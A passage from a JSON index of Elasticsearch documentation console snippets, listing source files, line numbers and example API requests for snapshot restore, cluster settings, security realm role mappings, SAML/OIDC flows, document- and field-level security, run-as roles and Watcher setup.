_ml/set_upgrade_mode?enabled=false"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":483},"digest":"640da6dd719a34975b5627dfa5fcdd55","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"xpack.monitoring.collection.enabled\": true\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":497},"digest":"97ea5ab17213cb1faaf6f3ea13607098","lang":"console","found":["ruby"],"source":"POST _watcher/_start"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":507},"digest":"a0c64894f14d28b7e0c902add71d2e9a","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"xpack.profiling.templates.enabled\": true\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":520},"digest":"e317a8380dfbc76c4e7f23d0997b3518","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"action.destructive_requires_name\": null\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":550},"digest":"b02e4907c9936c1adc16ccce9d49900d","lang":"console","found":["php","python","ruby","go","js"],"source":"GET _cluster/health"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":558},"digest":"32ce26b8af95f7ccc2a7bd5e77a39d6c","lang":"console","found":["ruby"],"source":"GET my-index/_recovery"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":566},"digest":"6705eca2095ade294548cfb25bf2dd86","lang":"console","found":["ruby"],"source":"GET _cat/shards?v=true&h=index,shard,prirep,state,node,unassigned.reason&s=state"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":578},"digest":"934ced0998552cc95a28e48554147e8b","lang":"console","found":["ruby"],"source":"GET _cluster/allocation/explain\n{\n \"index\": \"my-index\",\n \"shard\": 0,\n \"primary\": false,\n \"current_node\": \"my-node\"\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":600},"digest":"e0734215054e1ff5df712ce3a826cdba","lang":"console","found":["ruby"],"source":"# Delete an index\nDELETE my-index\n\n# Delete a data stream\nDELETE _data_stream/logs-my_app-default"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":643},"digest":"ed27843eff311f3011b679e97e6fda50","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/my_snapshot_2099.05.06/_restore\n{\n \"indices\": \"my-index,logs-my_app-default\",\n \"index_settings\": {\n \"index.number_of_replicas\": 1\n }\n}"}, {"source_location":{"file":"security/securing-communications/change-passwords-native-users.asciidoc","line":42},"digest":"13e3fefbf55f672926aa389d76fc8bea","lang":"console","found":[],"source":"POST /_security/user/user1/_password\n{\n \"password\" : \"new-test-password\"\n}"}, {"source_location":{"file":"security/securing-communications/update-tls-certificates.asciidoc","line":184},"digest":"05f6049c677a156bdf9b83e71a3b87ed","lang":"console","found":[],"source":"GET /_ssl/certificates"}, {"source_location":{"file":"security/securing-communications/update-tls-certificates.asciidoc","line":331},"digest":"7e49705769c42895fb7b1e2ca028ff47","lang":"console","found":["ruby"],"source":"GET _cat/nodes"}, {"source_location":{"file":"security/securing-communications/update-tls-certificates.asciidoc","line":342},"digest":"05f6049c677a156bdf9b83e71a3b87ed","lang":"console","found":[],"source":"GET /_ssl/certificates"}, {"source_location":{"file":"security/securing-communications/update-tls-certificates.asciidoc","line":525},"digest":"05f6049c677a156bdf9b83e71a3b87ed","lang":"console","found":[],"source":"GET /_ssl/certificates"}, {"source_location":{"file":"security/securing-communications/update-tls-certificates.asciidoc","line":713},"digest":"7e49705769c42895fb7b1e2ca028ff47","lang":"console","found":["ruby"],"source":"GET _cat/nodes"}, {"source_location":{"file":"security/securing-communications/update-tls-certificates.asciidoc","line":725},"digest":"05f6049c677a156bdf9b83e71a3b87ed","lang":"console","found":[],"source":"GET /_ssl/certificates"}, {"source_location":{"file":"security/authentication/built-in-users.asciidoc","line":158},"digest":"6f0389ac52808df23bb6081a1acd4eed","lang":"console","found":[],"source":"PUT _security/user/logstash_system/_enable"}, {"source_location":{"file":"security/authentication/configuring-active-directory-realm.asciidoc","line":178},"digest":"21e95d29bc37deb5689a654aa323b4ba","lang":"console","found":[],"source":"PUT /_security/role_mapping/admins\n{\n \"roles\" : [ \"monitoring\" , \"user\" ],\n \"rules\" : { \"field\" : {\n \"groups\" : \"cn=admins,dc=example,dc=com\" <1>\n } },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/configuring-active-directory-realm.asciidoc","line":192},"digest":"bd0d30a7683037e1ebadd163514765d4","lang":"console","found":[],"source":"PUT /_security/role_mapping/basic_users\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"any\": [\n { \"field\" : {\n \"groups\" : \"cn=users,dc=example,dc=com\" <1>\n } },\n { \"field\" : {\n \"dn\" : \"cn=John Doe,cn=contractors,dc=example,dc=com\" <2>\n } }\n ] },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/configuring-ldap-realm.asciidoc","line":138},"digest":"21e95d29bc37deb5689a654aa323b4ba","lang":"console","found":[],"source":"PUT /_security/role_mapping/admins\n{\n \"roles\" : [ \"monitoring\" , \"user\" ],\n \"rules\" : { \"field\" : {\n \"groups\" : \"cn=admins,dc=example,dc=com\" <1>\n } },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/configuring-ldap-realm.asciidoc","line":152},"digest":"38ffa96674b5fd4042589af0ebb0437b","lang":"console","found":[],"source":"PUT /_security/role_mapping/basic_users\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"field\" : {\n \"groups\" : \"cn=users,dc=example,dc=com\" <1>\n } },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/configuring-pki-realm.asciidoc","line":159},"digest":"70bbe14bc4d5a5d58e81ab2b02408817","lang":"console","found":[],"source":"PUT /_security/role_mapping/users\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"field\" : {\n \"dn\" : \"cn=John Doe,ou=example,o=com\" <1>\n } },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/configuring-pki-realm.asciidoc","line":267},"digest":"1f8a6d2cc57ed8997a52354aca371aac","lang":"console","found":[],"source":"PUT /_security/role_mapping/direct_pki_only\n{\n \"roles\" : [ \"role_for_pki1_direct\" ],\n \"rules\" : {\n \"all\": [\n {\n \"field\": {\"realm.name\": \"pki1\"}\n },\n {\n \"field\": {\n \"metadata.pki_delegated_by_user\": null <1>\n }\n }\n ]\n },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/configuring-kerberos-realm.asciidoc","line":179},"digest":"9584b042223982e0bfde8d12d42c9705","lang":"console","found":[],"source":"POST /_security/role_mapping/kerbrolemapping\n{\n \"roles\" : [ \"monitoring_user\" ],\n \"enabled\": true,\n \"rules\" : {\n \"field\" : { \"username\" : \"user@REALM\" }\n }\n}"}, {"source_location":{"file":"security/authentication/jwt-realm.asciidoc","line":411},"digest":"5e21dbac92f34d236a8f0cc0d3a39cdd","lang":"console","found":[],"source":"PUT /_security/role_mapping/jwt1_users?refresh=true\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"all\" : [\n { \"field\": { \"realm.name\": \"jwt1\" } },\n { \"field\": { \"username\": \"principalname1\" } },\n { \"field\": { \"dn\": \"CN=Principal Name 1,DC=example.com\" } },\n { \"field\": { \"groups\": \"group1\" } },\n { \"field\": { \"metadata.jwt_claim_other\": \"other1\" } }\n ] },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/jwt-realm.asciidoc","line":471},"digest":"8f6f7ea5abf56152b4a5639ddf40848f","lang":"console","found":[],"source":"PUT /_security/role_mapping/native1_users?refresh=true\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"all\" : [\n { \"field\": { \"realm.name\": \"native1\" } },\n { \"field\": { \"username\": \"principalname1\" } }\n ] },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/jwt-realm.asciidoc","line":504},"digest":"2864a24608b3ac59d21f604f8a31d131","lang":"console","found":[],"source":"POST /_security/role/jwt_role1?refresh=true\n{\n \"cluster\": [\"manage\"],\n \"indices\": [ { \"names\": [ \"*\" ], \"privileges\": [\"read\"] } ],\n \"run_as\": [ \"user123_runas\" ],\n \"metadata\" : { \"version\" : 1 }\n}"}, {"source_location":{"file":"security/authentication/jwt-realm.asciidoc","line":522},"digest":"fe54f3e53dbe7dee40ec3108a461d19a","lang":"console","found":[],"source":"POST /_security/role_mapping/jwt_user1?refresh=true\n{\n \"roles\": [ \"jwt_role1\"],\n \"rules\" : { \"all\" : [\n { \"field\": { \"realm.name\": \"jwt2\" } },\n { \"field\": { \"username\": \"user2\" } }\n ] },\n \"enabled\": true,\n \"metadata\" : { \"version\" : 1 }\n}"}, {"source_location":{"file":"security/authentication/jwt-realm.asciidoc","line":676},"digest":"7885ca9d7c61050095288eef6bc6cca9","lang":"console","found":[],"source":"PUT /_security/role_mapping/jwt8_users?refresh=true\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"all\" : [\n { \"field\": { \"realm.name\": \"jwt8\" } },\n { \"field\": { \"username\": \"principalname1\" } }\n ] },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":654},"digest":"e85e3ab802fc9b40798fb0f546a7d05a","lang":"console","found":[],"source":"curl -u user_name:password -X GET http://localhost:9200/_security/saml/metadata/saml1 -H 'Content-Type: application/json' | jq -r '.[]' > metadata.xml"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":677},"digest":"862907653d1c18d2e80eff7f421200e2","lang":"console","found":[],"source":"PUT /_security/role_mapping/saml-example\n{\n \"roles\": [ \"example_role\" ], <1>\n \"enabled\": true,\n \"rules\": {\n \"field\": { \"realm.name\": \"saml1\" }\n }\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":716},"digest":"aac5996a8398cc8f7701a063df0b2346","lang":"console","found":[],"source":"PUT /_security/role_mapping/saml-finance\n{\n \"roles\": [ \"finance_data\" ],\n \"enabled\": true,\n \"rules\": { \"all\": [\n { \"field\": { \"realm.name\": \"saml1\" } },\n { \"field\": { \"groups\": \"finance-team\" } } <1>\n ] }\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":936},"digest":"49cb3f48a0097bfc597c52fa51c6d379","lang":"console","found":[],"source":"POST /_security/role/saml-service-role\n{\n \"cluster\" : [\"manage_saml\", \"manage_token\"]\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":944},"digest":"b2b26f8568c5dba7649e79f09b859272","lang":"console","found":[],"source":"POST /_security/user/saml-service-user\n{\n \"password\" : \"\",\n \"roles\" : [\"saml-service-role\"]\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":964},"digest":"a5dfcfd1cfb3558e7912456669c92eee","lang":"console","found":[],"source":"POST /_security/saml/prepare\n{\n \"realm\" : \"saml1\"\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":987},"digest":"8e208098a0156c4c92afe0a06960b230","lang":"console","found":[],"source":"POST /_security/saml/authenticate\n{\n \"content\" : \"PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMD.....\",\n \"ids\" : [\"4fee3b046395c4e751011e97f8900b5273d56685\"]\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":1016},"digest":"9eda9c39428b0c2c53cbd8ee7ae0f888","lang":"console","found":[],"source":"POST /_security/saml/authenticate\n{\n \"content\" : \"PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMD.....\",\n \"ids\" : []\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":1031},"digest":"553904c175a76d5ba83bc5d46fff7373","lang":"console","found":[],"source":"POST /_security/saml/logout\n{\n \"token\" : \"46ToAxZVaXVVZTVKOVF5YU04ZFJVUDVSZlV3\",\n \"refresh_token\": \"mJdXLtmvTUSpoLwMvdBt_w\"\n}"}, {"source_location":{"file":"security/authentication/saml-guide.asciidoc","line":1049},"digest":"a71154ea11a5214f409ecfd118e9b5e3","lang":"console","found":[],"source":"POST /_security/saml/invalidate\n{\n \"query\" : \"SAMLRequest=nZFda4MwFIb%2FiuS%2BmviRpqFaClKQdbvo2g12M2KMraCJ9cRR9utnW4Wyi13sMie873MeznJ1aWrnS3VQGR0j4mLkKC1NUeljjA77zYyhVbIE0dR%2By7fmaHq7U%2BdegXWGpAZ%2B%2F4pR32luBFTAtWgUcCv56%2Fp5y30X87Yz1khTIycdgpUW9kY7WdsC9zxoXTvMvWuVV98YyMnSGH2SYE5pwALBIr9QKiwDGpW0oGVUznGeMyJZKFkQ4jBf5HnhUymjIhzCAL3KNFihbYx8TBYzzGaY7EnIyZwHzCWMfiDnbRIftkSjJr%2BFu0e9v%2B0EgOquRiiZjKpiVFp6j50T4WXoyNJ%2FEWC9fdqc1t%2F1%2B2F3aUpjzhPiXpqMz1%2FHSn4A&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=MsAYz2NFdovMG2mXf6TSpu5vlQQyEJAg%2B4KCwBqJTmrb3yGXKUtIgvjqf88eCAK32v3eN8vupjPC8LglYmke1ZnjK0%2FKxzkvSjTVA7mMQe2AQdKbkyC038zzRq%2FYHcjFDE%2Bz0qISwSHZY2NyLePmwU7SexEXnIz37jKC6NMEhus%3D\",\n \"realm\" : \"saml1\"\n}"}, {"source_location":{"file":"security/authentication/oidc-guide.asciidoc","line":431},"digest":"10de9fd4a38755020a07c4ec964d44c9","lang":"console","found":[],"source":"PUT /_security/role_mapping/oidc-example\n{\n \"roles\": [ \"example_role\" ], <1>\n \"enabled\": true,\n \"rules\": {\n \"field\": { \"realm.name\": \"oidc1\" }\n }\n}"}, {"source_location":{"file":"security/authentication/oidc-guide.asciidoc","line":470},"digest":"f3ab820e1f2f54ea718017aeae865742","lang":"console","found":[],"source":"PUT /_security/role_mapping/oidc-finance\n{\n \"roles\": [ \"finance_data\" ],\n \"enabled\": true,\n \"rules\": { \"all\": [\n { \"field\": { \"realm.name\": \"oidc1\" } },\n { \"field\": { \"groups\": \"finance-team\" } }\n ] }\n}"}, {"source_location":{"file":"security/authentication/oidc-guide.asciidoc","line":610},"digest":"a325f31e94fb1e8739258910593504a8","lang":"console","found":[],"source":"POST /_security/role/facilitator-role\n{\n \"cluster\" : [\"manage_oidc\", \"manage_token\"]\n}"}, {"source_location":{"file":"security/authentication/oidc-guide.asciidoc","line":619},"digest":"53e4ac5a4009fd21024f4b31e54aa83f","lang":"console","found":[],"source":"POST /_security/user/facilitator\n{\n \"password\" : \"\",\n \"roles\" : [ \"facilitator-role\"]\n}"}, {"source_location":{"file":"security/authentication/oidc-guide.asciidoc","line":639},"digest":"e3019fd5f23458ae49ad9854c97d321c","lang":"console","found":[],"source":"POST /_security/oidc/prepare\n{\n \"realm\" : \"oidc1\"\n}"}, {"source_location":{"file":"security/authentication/oidc-guide.asciidoc","line":662},"digest":"9c01db07c9ac395b6370e3b33965c21f","lang":"console","found":[],"source":"POST /_security/oidc/authenticate\n{\n \"redirect_uri\" : \"https://oidc-kibana.elastic.co:5603/api/security/oidc/callback?code=jtI3Ntt8v3_XvcLzCFGq&state=4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I\",\n \"state\" : \"4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I\",\n \"nonce\" : \"WaBPH0KqPVdG5HHdSxPRjfoZbXMCicm5v1OiAj0DUFM\",\n \"realm\" : \"oidc1\"\n}"}, {"source_location":{"file":"security/authentication/oidc-guide.asciidoc","line":680},"digest":"2a1eece9a59ac1773edcf0a932c26de0","lang":"console","found":[],"source":"POST /_security/oidc/logout\n{\n \"token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"refresh_token\": \"vLBPvmAB6KvwvJZr27cS\"\n}"}, {"source_location":{"file":"security/authorization/managing-roles.asciidoc","line":220},"digest":"d3e5edac5b461020017fd9d8ec7a91fa","lang":"console","found":[],"source":"POST /_security/role/clicks_admin\n{\n \"run_as\": [ \"clicks_watcher_1\" ],\n \"cluster\": [ \"monitor\" ],\n \"indices\": [\n {\n \"names\": [ \"events-*\" ],\n \"privileges\": [ \"read\" ],\n \"field_security\" : {\n \"grant\" : [ \"category\", \"@timestamp\", \"message\" ]\n },\n \"query\": \"{\\\"match\\\": {\\\"category\\\": \\\"click\\\"}}\"\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/create-api-keys.asciidoc","line":220},"digest":"1b076ceb1ead9f6897c2f351f0e45f74","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-restricted-api-key\",\n \"role_descriptors\": {\n \"my-restricted-role-descriptor\": {\n \"indices\": [\n {\n \"names\": [\"my-search-app\"],\n \"privileges\": [\"read\"]\n }\n ],\n \"restriction\": {\n \"workflows\": [\"search_application_query\"]\n }\n }\n }\n}"}, {"source_location":{"file":"security/authorization/document-level-security.asciidoc","line":30},"digest":"6365312d470426cab1b77e9ffde49170","lang":"console","found":[],"source":"POST /_security/role/click_role\n{\n \"indices\": [\n {\n \"names\": [ \"events-*\" ],\n \"privileges\": [ \"read\" ],\n \"query\": \"{\\\"match\\\": {\\\"category\\\": \\\"click\\\"}}\"\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/document-level-security.asciidoc","line":46},"digest":"05bee3adf46b9d6a2fef96c51bf958da","lang":"console","found":[],"source":"POST _security/role/click_role\n{\n \"indices\": [\n {\n \"names\": [ \"events-*\" ],\n \"privileges\": [ \"read\" ],\n \"query\": {\n \"match\": {\n \"category\": \"click\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/document-level-security.asciidoc","line":67},"digest":"c79e8ee86b332302b25c5c1f5f4f89d7","lang":"console","found":[],"source":"POST /_security/role/dept_role\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"query\" : {\n \"term\" : { \"department_id\" : 12 }\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/field-level-security.asciidoc","line":18},"digest":"976e5f9baf81bd6ca0e9f80916a0a4f9","lang":"console","found":[],"source":"POST /_security/role/test_role1\n{\n \"indices\": [\n {\n \"names\": [ \"events-*\" ],\n \"privileges\": [ \"read\" ],\n \"field_security\" : {\n \"grant\" : [ \"category\", \"@timestamp\", \"message\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/field-level-security.asciidoc","line":43},"digest":"7c9076f3e93a8f61189783c736bf6082","lang":"console","found":[],"source":"POST /_security/role/test_role2\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"field_security\" : {\n \"grant\" : [ \"event_*\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/field-level-security.asciidoc","line":77},"digest":"d7d92816cac64b7c70d72b0000eeeeea","lang":"console","found":[],"source":"POST /_security/role/test_role3\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"field_security\" : {\n \"grant\" : [ \"customer.handle\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/field-level-security.asciidoc","line":96},"digest":"bb28d1f7f3f09f5061d7f4351aee89fc","lang":"console","found":[],"source":"POST /_security/role/test_role4\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"field_security\" : {\n \"grant\" : [ \"customer.*\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/field-level-security.asciidoc","line":114},"digest":"7a987cd13383bdc990155d7bd5fb221e","lang":"console","found":[],"source":"POST /_security/role/test_role5\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"field_security\" : {\n \"grant\" : [ \"*\"],\n \"except\": [ \"customer.handle\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/field-level-security.asciidoc","line":142},"digest":"962e6187bbd71c5749376efed04b65ba","lang":"console","found":[],"source":"POST /_security/role/test_role6\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"field_security\" : {\n \"except\": [ \"customer.handle\" ],\n \"grant\" : [ \"customer.*\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/field-level-security.asciidoc","line":169},"digest":"a1acf454bd6477183ce27ace872deb46","lang":"console","found":[],"source":"POST /_security/role/test_role7\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"field_security\" : {\n \"grant\": [ \"a.*\" ],\n \"except\" : [ \"a.b*\" ]\n }\n }\n ]\n}\n\nPOST /_security/role/test_role8\n{\n \"indices\" : [\n {\n \"names\" : [ \"*\" ],\n \"privileges\" : [ \"read\" ],\n \"field_security\" : {\n \"grant\": [ \"a.b*\" ],\n \"except\" : [ \"a.b.c*\" ]\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/alias-privileges.asciidoc","line":47},"digest":"669773766b041be768003055ad523038","lang":"console","found":["ruby"],"source":"GET .ds-my-data-stream-2099.03.08-000002/_doc/2"}, {"source_location":{"file":"security/authorization/alias-privileges.asciidoc","line":59},"digest":"5f72ab800c3db9d118df95e2a378d411","lang":"console","found":["ruby"],"source":"GET .ds-my-data-stream-2099.03.09-000003/_doc/2"}, {"source_location":{"file":"security/authorization/alias-privileges.asciidoc","line":92},"digest":"2ad35a13262f98574a48f88b4a838512","lang":"console","found":["ruby"],"source":"GET current_year/_doc/1"}, {"source_location":{"file":"security/authorization/mapping-roles.asciidoc","line":138},"digest":"f2359acfb6eaa919125463cc1d3a7cd1","lang":"console","found":[],"source":"PUT /_security/role_mapping/admins\n{\n \"roles\" : [ \"monitoring\", \"user\" ],\n \"rules\" : { \"field\" : { \"groups\" : \"cn=admins,dc=example,dc=com\" } },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authorization/mapping-roles.asciidoc","line":148},"digest":"3ea33023474e77d73ac0540e3a02b0b2","lang":"console","found":[],"source":"PUT /_security/role_mapping/basic_users\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"any\" : [\n { \"field\" : { \"dn\" : \"cn=John Doe,cn=contractors,dc=example,dc=com\" } },\n { \"field\" : { \"groups\" : \"cn=users,dc=example,dc=com\" } }\n ] },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authorization/mapping-roles.asciidoc","line":180},"digest":"81ee2ad368208c4c78098292547b0577","lang":"console","found":[],"source":"PUT /_security/role_mapping/admin_user\n{\n \"roles\" : [ \"monitoring\" ],\n \"rules\" : { \"field\" : { \"dn\" : \"cn=Admin,ou=example,o=com\" } },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authorization/mapping-roles.asciidoc","line":190},"digest":"87846c3ddacab1da4af626ae8099e4be","lang":"console","found":[],"source":"PUT /_security/role_mapping/basic_user\n{\n \"roles\" : [ \"user\" ],\n \"rules\" : { \"field\" : { \"dn\" : \"cn=John Doe,ou=example,o=com\" } },\n \"enabled\": true\n}"}, {"source_location":{"file":"security/authorization/role-templates.asciidoc","line":16},"digest":"193234bb5dc6451fd15b584fbefd2446","lang":"console","found":[],"source":"POST /_security/role/example1\n{\n \"indices\" : [\n {\n \"names\" : [ \"my-index-000001\" ],\n \"privileges\" : [ \"read\" ],\n \"query\" : {\n \"template\" : {\n \"source\" : {\n \"term\" : { \"acl.username\" : \"{{_user.username}}\" }\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/role-templates.asciidoc","line":52},"digest":"59d015f7bd0eeab40d0885010a62fa70","lang":"console","found":[],"source":"POST /_security/role/example2\n{\n \"indices\" : [\n {\n \"names\" : [ \"my-index-000001\" ],\n \"privileges\" : [ \"read\" ],\n \"query\" : {\n \"template\" : {\n \"source\" : {\n \"term\" : { \"group.id\" : \"{{_user.metadata.group_id}}\" }\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/role-templates.asciidoc","line":75},"digest":"1b98b60d8e558fcccf9c550bdbf5b5c9","lang":"console","found":[],"source":"POST /_security/role/example3\n{\n \"indices\" : [\n {\n \"names\" : [ \"my-index-000001\" ],\n \"privileges\" : [ \"read\" ],\n \"query\" : {\n \"template\" : {\n \"source\" : \"{ \\\"terms\\\": { \\\"group.statuses\\\": {{#toJson}}_user.metadata.statuses{{/toJson}} }}\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"security/authorization/run-as-privilege.asciidoc","line":51},"digest":"d23452f333b77bf5b463310e2a665560","lang":"console","found":[],"source":"POST /_security/role/my_director?refresh=true\n{\n \"cluster\": [\"manage\"],\n \"indices\": [\n {\n \"names\": [ \"index1\", \"index2\" ],\n \"privileges\": [ \"manage\" ]\n }\n ],\n \"run_as\": [ \"jacknich\", \"rdeniro\" ],\n \"metadata\" : {\n \"version\" : 1\n }\n}"}, {"source_location":{"file":"security/authorization/run-as-privilege.asciidoc","line":114},"digest":"930a3c5667e3bf47b4e8cc28e7bf8d5f","lang":"console","found":[],"source":"POST /_security/role/my_admin_role?refresh=true\n{\n \"cluster\": [\"manage\"],\n \"indices\": [\n {\n \"names\": [ \"index1\", \"index2\" ],\n \"privileges\": [ \"manage\" ]\n }\n ],\n \"applications\": [\n {\n \"application\": \"myapp\",\n \"privileges\": [ \"admin\", \"read\" ],\n \"resources\": [ \"*\" ]\n }\n ],\n \"run_as\": [ \"analyst_user\" ],\n \"metadata\" : {\n \"version\" : 1\n }\n}"}, {"source_location":{"file":"security/authorization/run-as-privilege.asciidoc","line":143},"digest":"172b18e435c400bed85227624de3acfd","lang":"console","found":[],"source":"POST /_security/role/my_analyst_role?refresh=true\n{\n \"cluster\": [ \"monitor\"],\n \"indices\": [\n {\n \"names\": [ \"index1\", \"index2\" ],\n \"privileges\": [\"manage\"]\n }\n ],\n \"applications\": [\n {\n \"application\": \"myapp\",\n \"privileges\": [ \"read\" ],\n \"resources\": [ \"*\" ]\n }\n ],\n \"metadata\" : {\n \"version\" : 1\n }\n}"}, {"source_location":{"file":"security/authorization/run-as-privilege.asciidoc","line":170},"digest":"7b3f255d28ce5b46d111402b96b41351","lang":"console","found":[],"source":"POST /_security/user/admin_user?refresh=true\n{\n \"password\": \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\": [ \"my_admin_role\" ],\n \"full_name\": \"Eirian Zola\",\n \"metadata\": { \"intelligence\" : 7}\n}"}, {"source_location":{"file":"security/authorization/run-as-privilege.asciidoc","line":184},"digest":"111c31db1fd29baeaa9964eafaea6789","lang":"console","found":[],"source":"POST /_security/user/analyst_user?refresh=true\n{\n \"password\": \"l0nger-r4nd0mer-p@ssw0rd\",\n \"roles\": [ \"my_analyst_role\" ],\n \"full_name\": \"Monday Jaffe\",\n \"metadata\": { \"innovation\" : 8}\n}"}, {"source_location":{"file":"security/using-ip-filtering.asciidoc","line":148},"digest":"43854be6aae61edbea5f9ab988cb4ce5","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\" : {\n \"xpack.security.transport.filter.allow\" : \"172.16.0.0/24\"\n }\n}"}, {"source_location":{"file":"security/using-ip-filtering.asciidoc","line":160},"digest":"1cb3b45335ab1b9697c358104d44ea39","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\" : {\n \"xpack.security.transport.filter.enabled\" : false\n }\n}"}, {"source_location":{"file":"security/troubleshooting.asciidoc","line":114},"digest":"13cc51ca3a783cdbb1f1d353eaedbf23","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"logger.org.elasticsearch.xpack.security.authc\": \"debug\"\n }\n}"}, {"source_location":{"file":"security/troubleshooting.asciidoc","line":748},"digest":"32de5dd306bd014d67053d2f175defcd","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"logger.org.elasticsearch.xpack.security.authc.saml\": \"debug\"\n }\n}"}, {"source_location":{"file":"watcher/getting-started.asciidoc","line":27},"digest":"a45eb0cdd138d9c894ca2de9352549a1","lang":"console","found":[],"source":"PUT _watcher/watch/log_error_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"10s\" } <1>\n },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : [ \"logs\" ],\n \"body\" : {\n \"query\" : {\n \"match\" : { \"message\": \"error\" }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/getting-started.asciidoc","line":61},"digest":"69d9b8fd364596aa37eae6864d8a6d89","lang":"console","found":["ruby"],"source":"GET .watcher-history*/_search?pretty\n{\n \"sort\" : [\n { \"result.execution_time\" : \"desc\" }\n ]\n}"}, {"source_location":{"file":"watcher/getting-started.asciidoc","line":84},"digest":"0e84bb54b8a9a5387f252eeffeb1098e","lang":"console","found":[],"source":"PUT _watcher/watch/log_error_watch\n{\n \"trigger\" : { \"schedule\" : { \"interval\" : \"10s\" }},\n \"input\" : {\n 